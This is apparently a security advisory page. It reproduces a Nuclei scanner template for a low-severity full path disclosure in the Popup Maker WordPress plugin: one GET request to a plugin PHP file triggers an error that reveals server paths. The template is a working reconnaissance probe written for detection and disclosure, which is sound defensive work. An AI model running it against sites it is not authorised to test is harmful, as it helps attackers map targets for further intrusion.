wp-popup-maker-fpd: Popup Maker - Full Path Disclosure

2026-01-08 Popup Maker PoC Public

Description

Popup Maker WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.

PoC

id: wp-popup-maker-fpd

info:
  name: Popup Maker - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    Popup Maker WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/popup-maker/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/popup-maker/"
  tags: debug,wordpress,wp,wp-plugin,popup-maker,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/popup-maker/classes/Activator.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "undefined function", "popup-maker")'
        condition: and
# digest: 4a0a004730450220756383f601e2f35ef1b8c66c9479e536416866c923cf5fd2526dc2d01f104613022100eda1a160b15a95452c9421663c82a0a051125a759b543007d42da1d96a5574d4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wp-popup-maker-fpd.yaml

References

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